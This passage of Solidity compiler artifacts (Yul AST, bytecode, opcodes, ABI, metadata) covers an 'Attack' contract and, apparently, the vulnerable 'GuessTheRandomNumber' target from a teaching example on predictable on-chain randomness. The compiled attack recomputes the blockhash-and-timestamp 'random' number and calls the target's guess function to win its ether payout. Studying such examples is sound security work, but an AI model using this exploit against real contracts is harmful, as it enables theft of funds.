"src": "2215:8:1"
},
"nodeType": "YulIf",
"src": "2212:34:1"
},
{
"nodeType": "YulAssignment",
"src": "2256:17:1",
"value": {
"arguments": [
{
"name": "x",
"nodeType": "YulIdentifier",
"src": "2268:1:1"
},
{
"name": "y",
"nodeType": "YulIdentifier",
"src": "2271:1:1"
}
],
"functionName": {
"name": "sub",
"nodeType": "YulIdentifier",
"src": "2264:3:1"
},
"nodeType": "YulFunctionCall",
"src": "2264:9:1"
},
"variableNames": [
{
"name": "diff",
"nodeType": "YulIdentifier",
"src": "2256:4:1"
}
]
}
]
},
"name": "checked_sub_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "x",
"nodeType": "YulTypedName",
"src": "2119:1:1",
"type": ""
},
{
"name": "y",
"nodeType": "YulTypedName",
"src": "2122:1:1",
"type": ""
}
],
"returnVariables": [
{
"name": "diff",
"nodeType": "YulTypedName",
"src": "2128:4:1",
"type": ""
}
],
"src": "2088:191:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "2330:32:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "2340:16:1",
"value": {
"name": "value",
"nodeType": "YulIdentifier",
"src": "2351:5:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "2340:7:1"
}
]
}
]
},
"name": "cleanup_t_bytes32",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "2312:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "2322:7:1",
"type": ""
}
],
"src": "2285:77:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "2415:32:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "2425:16:1",
"value": {
"name": "value",
"nodeType": "YulIdentifier",
"src": "2436:5:1"
},
"variableNames": [
{
"name": "aligned",
"nodeType": "YulIdentifier",
"src": "2425:7:1"
}
]
}
]
},
"name": "leftAlign_t_bytes32",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "2397:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "aligned",
"nodeType": "YulTypedName",
"src": "2407:7:1",
"type": ""
}
],
"src": "2368:79:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "2536:74:1",
"statements": [
{
"expression": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "2553:3:1"
},
{
"arguments": [
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "2596:5:1"
}
],
"functionName": {
"name": "cleanup_t_bytes32",
"nodeType": "YulIdentifier",
"src": "2578:17:1"
},
"nodeType": "YulFunctionCall",
"src": "2578:24:1"
}
],
"functionName": {
"name": "leftAlign_t_bytes32",
"nodeType": "YulIdentifier",
"src": "2558:19:1"
},
"nodeType": "YulFunctionCall",
"src": "2558:45:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "2546:6:1"
},
"nodeType": "YulFunctionCall",
"src": "2546:58:1"
},
"nodeType": "YulExpressionStatement",
"src": "2546:58:1"
}
]
},
"name": "abi_encode_t_bytes32_to_t_bytes32_nonPadded_inplace_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "2524:5:1",
"type": ""
},
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "2531:3:1",
"type": ""
}
],
"src": "2453:157:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "2663:32:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "2673:16:1",
"value": {
"name": "value",
"nodeType": "YulIdentifier",
"src": "2684:5:1"
},
"variableNames": [
{
"name": "aligned",
"nodeType": "YulIdentifier",
"src": "2673:7:1"
}
]
}
]
},
"name": "leftAlign_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "2645:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "aligned",
"nodeType": "YulTypedName",
"src": "2655:7:1",
"type": ""
}
],
"src": "2616:79:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "2784:74:1",
"statements": [
{
"expression": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "2801:3:1"
},
{
"arguments": [
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "2844:5:1"
}
],
"functionName": {
"name": "cleanup_t_uint256",
"nodeType": "YulIdentifier",
"src": "2826:17:1"
},
"nodeType": "YulFunctionCall",
"src": "2826:24:1"
}
],
"functionName": {
"name": "leftAlign_t_uint256",
"nodeType": "YulIdentifier",
"src": "2806:19:1"
},
"nodeType": "YulFunctionCall",
"src": "2806:45:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "2794:6:1"
},
"nodeType": "YulFunctionCall",
"src": "2794:58:1"
},
"nodeType": "YulExpressionStatement",
"src": "2794:58:1"
}
]
},
"name": "abi_encode_t_uint256_to_t_uint256_nonPadded_inplace_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "2772:5:1",
"type": ""
},
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "2779:3:1",
"type": ""
}
],
"src": "2701:157:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "3008:253:1",
"statements": [
{
"expression": {
"arguments": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "3081:6:1"
},
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "3090:3:1"
}
],
"functionName": {
"name": "abi_encode_t_bytes32_to_t_bytes32_nonPadded_inplace_fromStack",
"nodeType": "YulIdentifier",
"src": "3019:61:1"
},
"nodeType": "YulFunctionCall",
"src": "3019:75:1"
},
"nodeType": "YulExpressionStatement",
"src": "3019:75:1"
},
{
"nodeType": "YulAssignment",
"src": "3103:19:1",
"value": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "3114:3:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "3119:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "3110:3:1"
},
"nodeType": "YulFunctionCall",
"src": "3110:12:1"
},
"variableNames": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "3103:3:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value1",
"nodeType": "YulIdentifier",
"src": "3194:6:1"
},
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "3203:3:1"
}
],
"functionName": {
"name": "abi_encode_t_uint256_to_t_uint256_nonPadded_inplace_fromStack",
"nodeType": "YulIdentifier",
"src": "3132:61:1"
},
"nodeType": "YulFunctionCall",
"src": "3132:75:1"
},
"nodeType": "YulExpressionStatement",
"src": "3132:75:1"
},
{
"nodeType": "YulAssignment",
"src": "3216:19:1",
"value": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "3227:3:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "3232:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "3223:3:1"
},
"nodeType": "YulFunctionCall",
"src": "3223:12:1"
},
"variableNames": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "3216:3:1"
}
]
},
{
"nodeType": "YulAssignment",
"src": "3245:10:1",
"value": {
"name": "pos",
"nodeType": "YulIdentifier",
"src": "3252:3:1"
},
"variableNames": [
{
"name": "end",
"nodeType": "YulIdentifier",
"src": "3245:3:1"
}
]
}
]
},
"name": "abi_encode_tuple_packed_t_bytes32_t_uint256__to_t_bytes32_t_uint256__nonPadded_inplace_fromStack_reversed",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "2979:3:1",
"type": ""
},
{
"name": "value1",
"nodeType": "YulTypedName",
"src": "2985:6:1",
"type": ""
},
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "2993:6:1",
"type": ""
}
],
"returnVariables": [
{
"name": "end",
"nodeType": "YulTypedName",
"src": "3004:3:1",
"type": ""
}
],
"src": "2864:397:1"
}
]
},
"contents": "{\n\n function cleanup_t_uint256(value) -> cleaned {\n cleaned := value\n }\n\n function abi_encode_t_uint256_to_t_uint256_fromStack(value, pos) {\n mstore(pos, cleanup_t_uint256(value))\n }\n\n function abi_encode_tuple_t_uint256__to_t_uint256__fromStack_reversed(headStart , value0) -> tail {\n tail := add(headStart, 32)\n\n abi_encode_t_uint256_to_t_uint256_fromStack(value0, add(headStart, 0))\n\n }\n\n function allocate_unbounded() -> memPtr {\n memPtr := mload(64)\n }\n\n function revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() {\n revert(0, 0)\n }\n\n function revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db() {\n revert(0, 0)\n }\n\n function cleanup_t_uint160(value) -> cleaned {\n cleaned := and(value, 0xffffffffffffffffffffffffffffffffffffffff)\n }\n\n function cleanup_t_address(value) -> cleaned {\n cleaned := cleanup_t_uint160(value)\n }\n\n function cleanup_t_contract$_GuessTheRandomNumber_$51(value) -> cleaned {\n cleaned := cleanup_t_address(value)\n }\n\n function validator_revert_t_contract$_GuessTheRandomNumber_$51(value) {\n if iszero(eq(value, cleanup_t_contract$_GuessTheRandomNumber_$51(value))) { revert(0, 0) }\n }\n\n function abi_decode_t_contract$_GuessTheRandomNumber_$51(offset, end) -> value {\n value := calldataload(offset)\n validator_revert_t_contract$_GuessTheRandomNumber_$51(value)\n }\n\n function abi_decode_tuple_t_contract$_GuessTheRandomNumber_$51(headStart, dataEnd) -> value0 {\n if slt(sub(dataEnd, headStart), 32) { revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b() }\n\n {\n\n let offset := 0\n\n value0 := abi_decode_t_contract$_GuessTheRandomNumber_$51(add(headStart, offset), dataEnd)\n }\n\n }\n\n function panic_error_0x11() {\n mstore(0, 35408467139433450592217433187231851964531694900788300625387963629091585785856)\n mstore(4, 0x11)\n revert(0, 0x24)\n }\n\n function checked_sub_t_uint256(x, y) -> diff {\n x := cleanup_t_uint256(x)\n y := cleanup_t_uint256(y)\n\n if lt(x, y) { panic_error_0x11() }\n\n diff := sub(x, y)\n }\n\n function cleanup_t_bytes32(value) -> cleaned {\n cleaned := value\n }\n\n function leftAlign_t_bytes32(value) -> aligned {\n aligned := value\n }\n\n function abi_encode_t_bytes32_to_t_bytes32_nonPadded_inplace_fromStack(value, pos) {\n mstore(pos, leftAlign_t_bytes32(cleanup_t_bytes32(value)))\n }\n\n function leftAlign_t_uint256(value) -> aligned {\n aligned := value\n }\n\n function abi_encode_t_uint256_to_t_uint256_nonPadded_inplace_fromStack(value, pos) {\n mstore(pos, leftAlign_t_uint256(cleanup_t_uint256(value)))\n }\n\n function abi_encode_tuple_packed_t_bytes32_t_uint256__to_t_bytes32_t_uint256__nonPadded_inplace_fromStack_reversed(pos , value1, value0) -> end {\n\n abi_encode_t_bytes32_to_t_bytes32_nonPadded_inplace_fromStack(value0, pos)\n pos := add(pos, 32)\n\n abi_encode_t_uint256_to_t_uint256_nonPadded_inplace_fromStack(value1, pos)\n pos := add(pos, 32)\n\n end := pos\n }\n\n}\n",
"id": 1,
"language": "Yul",
"name": "#utility.yul"
}
],
"immutableReferences": {},
"linkReferences": {},
"object": "60806040526004361061002d5760003560e01c806312065fe014610039578063d018db3e1461006457610034565b3661003457005b600080fd5b34801561004557600080fd5b5061004e61008d565b60405161005b919061015a565b60405180910390f35b34801561007057600080fd5b5061008b600480360381019061008691906101ea565b610095565b005b600047905090565b60006001436100a49190610246565b40426040516020016100b79291906102c6565b6040516020818303038152906040528051906020012060001c90508173ffffffffffffffffffffffffffffffffffffffff16639189fec1826040518263ffffffff1660e01b815260040161010b919061015a565b600060405180830381600087803b15801561012557600080fd5b505af1158015610139573d6000803e3d6000fd5b505050505050565b6000819050919050565b61015481610141565b82525050565b600060208201905061016f600083018461014b565b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006101a58261017a565b9050919050565b60006101b78261019a565b9050919050565b6101c7816101ac565b81146101d257600080fd5b50565b6000813590506101e4816101be565b92915050565b600060208284031215610200576101ff610175565b5b600061020e848285016101d5565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061025182610141565b915061025c83610141565b92508282101561026f5761026e610217565b5b828203905092915050565b6000819050919050565b6000819050919050565b61029f61029a8261027a565b610284565b82525050565b6000819050919050565b6102c06102bb82610141565b6102a5565b82525050565b60006102d2828561028e565b6020820191506102e282846102af565b602082019150819050939250505056fea2646970667358221220f61fab70c4b5feb6a49566e9104c748f699afb67cd3ec4e76fe8c986ace49dc564736f6c634300080c0033",
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x4 CALLDATASIZE LT PUSH2 0x2D JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x12065FE0 EQ PUSH2 0x39 JUMPI DUP1 PUSH4 0xD018DB3E EQ PUSH2 0x64 JUMPI PUSH2 0x34 JUMP JUMPDEST CALLDATASIZE PUSH2 0x34 JUMPI STOP JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x45 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x4E PUSH2 0x8D JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x5B SWAP2 SWAP1 PUSH2 0x15A JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST CALLVALUE DUP1 ISZERO PUSH2 0x70 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x8B PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 PUSH2 0x86 SWAP2 SWAP1 PUSH2 0x1EA JUMP JUMPDEST PUSH2 0x95 JUMP JUMPDEST STOP JUMPDEST PUSH1 0x0 SELFBALANCE SWAP1 POP SWAP1 JUMP JUMPDEST PUSH1 0x0 PUSH1 0x1 NUMBER PUSH2 0xA4 SWAP2 SWAP1 PUSH2 0x246 JUMP JUMPDEST BLOCKHASH TIMESTAMP PUSH1 0x40 MLOAD PUSH1 0x20 ADD PUSH2 0xB7 SWAP3 SWAP2 SWAP1 PUSH2 0x2C6 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH1 0x20 DUP2 DUP4 SUB SUB DUP2 MSTORE SWAP1 PUSH1 0x40 MSTORE DUP1 MLOAD SWAP1 PUSH1 0x20 ADD KECCAK256 PUSH1 0x0 SHR SWAP1 POP DUP2 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0x9189FEC1 DUP3 PUSH1 0x40 MLOAD DUP3 PUSH4 0xFFFFFFFF AND PUSH1 0xE0 SHL DUP2 MSTORE PUSH1 0x4 ADD PUSH2 0x10B SWAP2 SWAP1 PUSH2 0x15A JUMP JUMPDEST PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 PUSH1 0x0 DUP8 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x125 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0x139 JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x154 DUP2 PUSH2 0x141 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x16F PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x14B JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x0 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF DUP3 AND SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x1A5 DUP3 PUSH2 0x17A JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x1B7 DUP3 PUSH2 0x19A JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x1C7 DUP2 PUSH2 0x1AC JUMP JUMPDEST DUP2 EQ PUSH2 0x1D2 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP JUMP JUMPDEST PUSH1 0x0 DUP2 CALLDATALOAD SWAP1 POP PUSH2 0x1E4 DUP2 PUSH2 0x1BE JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 DUP5 SUB SLT ISZERO PUSH2 0x200 JUMPI PUSH2 0x1FF PUSH2 0x175 JUMP JUMPDEST JUMPDEST PUSH1 0x0 PUSH2 0x20E DUP5 DUP3 DUP6 ADD PUSH2 0x1D5 JUMP JUMPDEST SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH32 0x4E487B7100000000000000000000000000000000000000000000000000000000 PUSH1 0x0 MSTORE PUSH1 0x11 PUSH1 0x4 MSTORE PUSH1 0x24 PUSH1 0x0 REVERT JUMPDEST PUSH1 0x0 PUSH2 0x251 DUP3 PUSH2 0x141 JUMP JUMPDEST SWAP2 POP PUSH2 0x25C DUP4 PUSH2 0x141 JUMP JUMPDEST SWAP3 POP DUP3 DUP3 LT ISZERO PUSH2 0x26F JUMPI PUSH2 0x26E PUSH2 0x217 JUMP JUMPDEST JUMPDEST DUP3 DUP3 SUB SWAP1 POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x29F PUSH2 0x29A DUP3 PUSH2 0x27A JUMP JUMPDEST PUSH2 0x284 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x2C0 PUSH2 0x2BB DUP3 PUSH2 0x141 JUMP JUMPDEST PUSH2 0x2A5 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x2D2 DUP3 DUP6 PUSH2 0x28E JUMP JUMPDEST PUSH1 0x20 DUP3 ADD SWAP2 POP PUSH2 0x2E2 DUP3 DUP5 PUSH2 0x2AF JUMP JUMPDEST PUSH1 0x20 DUP3 ADD SWAP2 POP DUP2 SWAP1 POP SWAP4 SWAP3 POP POP POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 0xF6 0x1F 0xAB PUSH17 0xC4B5FEB6A49566E9104C748F699AFB67CD RETURNDATACOPY 0xC4 0xE7 PUSH16 0xE8C986ACE49DC564736F6C634300080C STOP CALLER ",
"sourceMap": "454:442:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;800:94;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;511:243;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;800:94;843:4;866:21;859:28;;800:94;:::o;511:243::-;587:11;671:1;656:12;:16;;;;:::i;:::-;646:27;675:15;629:62;;;;;;;;;:::i;:::-;;;;;;;;;;;;;619:73;;;;;;601:101;;587:115;;713:20;:26;;;740:6;713:34;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;577:177;511:243;:::o;7:77:1:-;44:7;73:5;62:16;;7:77;;;:::o;90:118::-;177:24;195:5;177:24;:::i;:::-;172:3;165:37;90:118;;:::o;214:222::-;307:4;345:2;334:9;330:18;322:26;;358:71;426:1;415:9;411:17;402:6;358:71;:::i;:::-;214:222;;;;:::o;523:117::-;632:1;629;622:12;769:126;806:7;846:42;839:5;835:54;824:65;;769:126;;;:::o;901:96::-;938:7;967:24;985:5;967:24;:::i;:::-;956:35;;901:96;;;:::o;1003:123::-;1067:7;1096:24;1114:5;1096:24;:::i;:::-;1085:35;;1003:123;;;:::o;1132:176::-;1232:51;1277:5;1232:51;:::i;:::-;1225:5;1222:62;1212:90;;1298:1;1295;1288:12;1212:90;1132:176;:::o;1314:193::-;1387:5;1425:6;1412:20;1403:29;;1441:60;1495:5;1441:60;:::i;:::-;1314:193;;;;:::o;1513:383::-;1599:6;1648:2;1636:9;1627:7;1623:23;1619:32;1616:119;;;1654:79;;:::i;:::-;1616:119;1774:1;1799:80;1871:7;1862:6;1851:9;1847:22;1799:80;:::i;:::-;1789:90;;1745:144;1513:383;;;;:::o;1902:180::-;1950:77;1947:1;1940:88;2047:4;2044:1;2037:15;2071:4;2068:1;2061:15;2088:191;2128:4;2148:20;2166:1;2148:20;:::i;:::-;2143:25;;2182:20;2200:1;2182:20;:::i;:::-;2177:25;;2221:1;2218;2215:8;2212:34;;;2226:18;;:::i;:::-;2212:34;2271:1;2268;2264:9;2256:17;;2088:191;;;;:::o;2285:77::-;2322:7;2351:5;2340:16;;2285:77;;;:::o;2368:79::-;2407:7;2436:5;2425:16;;2368:79;;;:::o;2453:157::-;2558:45;2578:24;2596:5;2578:24;:::i;:::-;2558:45;:::i;:::-;2553:3;2546:58;2453:157;;:::o;2616:79::-;2655:7;2684:5;2673:16;;2616:79;;;:::o;2701:157::-;2806:45;2826:24;2844:5;2826:24;:::i;:::-;2806:45;:::i;:::-;2801:3;2794:58;2701:157;;:::o;2864:397::-;3004:3;3019:75;3090:3;3081:6;3019:75;:::i;:::-;3119:2;3114:3;3110:12;3103:19;;3132:75;3203:3;3194:6;3132:75;:::i;:::-;3232:2;3227:3;3223:12;3216:19;;3252:3;3245:10;;2864:397;;;;;:::o"
},
"gasEstimates": {
"creation": {
"codeDepositCost": "161600",
"executionCost": "208",
"totalCost": "161808"
},
"external": {
"attack(address)": "infinite",
"getBalance()": "317"
}
},
"methodIdentifiers": {
"attack(address)": "d018db3e",
"getBalance()": "12065fe0"
}
},
"abi": [
{
"inputs": [
{
"internalType": "contract GuessTheRandomNumber",
"name": "guessTheRandomNumber",
"type": "address"
}
],
"name": "attack",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"name": "getBalance",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"stateMutability": "payable",
"type": "receive"
}
]
}
{
"compiler": {
"version": "0.8.12+commit.f00d7308"
},
"language": "Solidity",
"output": {
"abi": [
{
"inputs": [
{
"internalType": "contract GuessTheRandomNumber",
"name": "guessTheRandomNumber",
"type": "address"
}
],
"name": "attack",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
},
{
"inputs": [],
"name": "getBalance",
"outputs": [
{
"internalType": "uint256",
"name": "",
"type": "uint256"
}
],
"stateMutability": "view",
"type": "function"
},
{
"stateMutability": "payable",
"type": "receive"
}
],
"devdoc": {
"kind": "dev",
"methods": {},
"version": 1
},
"userdoc": {
"kind": "user",
"methods": {},
"version": 1
}
},
"settings": {
"compilationTarget": {
"contracts/GuessTheRandomNumber.sol": "Attack"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": false,
"runs": 200
},
"remappings": []
},
"sources": {
"contracts/GuessTheRandomNumber.sol": {
"keccak256": "0xbc5a9306e7c6d3ca0ed80e588e309832613405de8daa0a79519699fb856694b8",
"license": "MIT",
"urls": [
"bzz-raw://3bde0a4df4a910dca4bed8e79239e78ecc4d70800d1e1795de32b79e8f7382e3",
"dweb:/ipfs/QmeeW2iLhNjFaw3SbECU9SazEnGP1MH4z4SxCF264kmjKh"
]
}
},
"version": 1
}
{
"deploy": {
"VM:-": {
"linkReferences": {},
"autoDeployLib": true
},
"main:1": {
"linkReferences": {},
"autoDeployLib": true
},
"ropsten:3": {
"linkReferences": {},
"autoDeployLib": true
},
"rinkeby:4": {
"linkReferences": {},
"autoDeployLib": true
},
"kovan:42": {
"linkReferences": {},
"autoDeployLib": true
},
"görli:5": {
"linkReferences": {},
"autoDeployLib": true
},
"Custom": {
"linkReferences": {},
"autoDeployLib": true
}
},
"data": {
"bytecode": {
"functionDebugData": {
"@_5": {
"entryPoint": null,
"id": 5,
"parameterSlots": 0,
"returnSlots": 0
}
},
"generatedSources": [],
"linkReferences": {},
"object": "6080604052610387806100136000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c80639189fec114610030575b600080fd5b61004a60048036038101906100459190610186565b61004c565b005b600060014361005b91906101e2565b404260405160200161006e929190610262565b6040516020818303038152906040528051906020012060001c9050808214156101475760003373ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a76400006040516100bf906102bf565b60006040518083038185875af1925050503d80600081146100fc576040519150601f19603f3d011682016040523d82523d6000602084013e610101565b606091505b5050905080610145576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161013c90610331565b60405180910390fd5b505b5050565b600080fd5b6000819050919050565b61016381610150565b811461016e57600080fd5b50565b6000813590506101808161015a565b92915050565b60006020828403121561019c5761019b61014b565b5b60006101aa84828501610171565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006101ed82610150565b91506101f883610150565b92508282101561020b5761020a6101b3565b5b828203905092915050565b6000819050919050565b6000819050919050565b61023b61023682610216565b610220565b82525050565b6000819050919050565b61025c61025782610150565b610241565b82525050565b600061026e828561022a565b60208201915061027e828461024b565b6020820191508190509392505050565b600081905092915050565b50565b60006102a960008361028e565b91506102b482610299565b600082019050919050565b60006102ca8261029c565b9150819050919050565b600082825260208201905092915050565b7f4661696c656420746f2073656e64204574686572000000000000000000000000600082015250565b600061031b6014836102d4565b9150610326826102e5565b602082019050919050565b6000602082019050818103600083015261034a8161030e565b905091905056fea264697066735822122071e639894f1c81b2f5d691642da83e4ca4a905a2437b0a26d00991745510ae2e64736f6c634300080c0033",
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE PUSH2 0x387 DUP1 PUSH2 0x13 PUSH1 0x0 CODECOPY PUSH1 0x0 RETURN INVALID PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0x10 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH1 0x4 CALLDATASIZE LT PUSH2 0x2B JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x9189FEC1 EQ PUSH2 0x30 JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH2 0x4A PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 PUSH2 0x45 SWAP2 SWAP1 PUSH2 0x186 JUMP JUMPDEST PUSH2 0x4C JUMP JUMPDEST STOP JUMPDEST PUSH1 0x0 PUSH1 0x1 NUMBER PUSH2 0x5B SWAP2 SWAP1 PUSH2 0x1E2 JUMP JUMPDEST BLOCKHASH TIMESTAMP PUSH1 0x40 MLOAD PUSH1 0x20 ADD PUSH2 0x6E SWAP3 SWAP2 SWAP1 PUSH2 0x262 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH1 0x20 DUP2 DUP4 SUB SUB DUP2 MSTORE SWAP1 PUSH1 0x40 MSTORE DUP1 MLOAD SWAP1 PUSH1 0x20 ADD KECCAK256 PUSH1 0x0 SHR SWAP1 POP DUP1 DUP3 EQ ISZERO PUSH2 0x147 JUMPI PUSH1 0x0 CALLER PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH8 0xDE0B6B3A7640000 PUSH1 0x40 MLOAD PUSH2 0xBF SWAP1 PUSH2 0x2BF JUMP JUMPDEST PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP6 DUP8 GAS CALL SWAP3 POP POP POP RETURNDATASIZE DUP1 PUSH1 0x0 DUP2 EQ PUSH2 0xFC JUMPI PUSH1 0x40 MLOAD SWAP2 POP PUSH1 0x1F NOT PUSH1 0x3F RETURNDATASIZE ADD AND DUP3 ADD PUSH1 0x40 MSTORE RETURNDATASIZE DUP3 MSTORE RETURNDATASIZE PUSH1 0x0 PUSH1 0x20 DUP5 ADD RETURNDATACOPY PUSH2 0x101 JUMP JUMPDEST PUSH1 0x60 SWAP2 POP JUMPDEST POP POP SWAP1 POP DUP1 PUSH2 0x145 JUMPI PUSH1 0x40 MLOAD PUSH32 0x8C379A000000000000000000000000000000000000000000000000000000000 DUP2 MSTORE PUSH1 0x4 ADD PUSH2 0x13C SWAP1 PUSH2 0x331 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 REVERT JUMPDEST POP JUMPDEST POP POP JUMP JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH2 0x163 DUP2 PUSH2 0x150 JUMP JUMPDEST DUP2 EQ PUSH2 0x16E 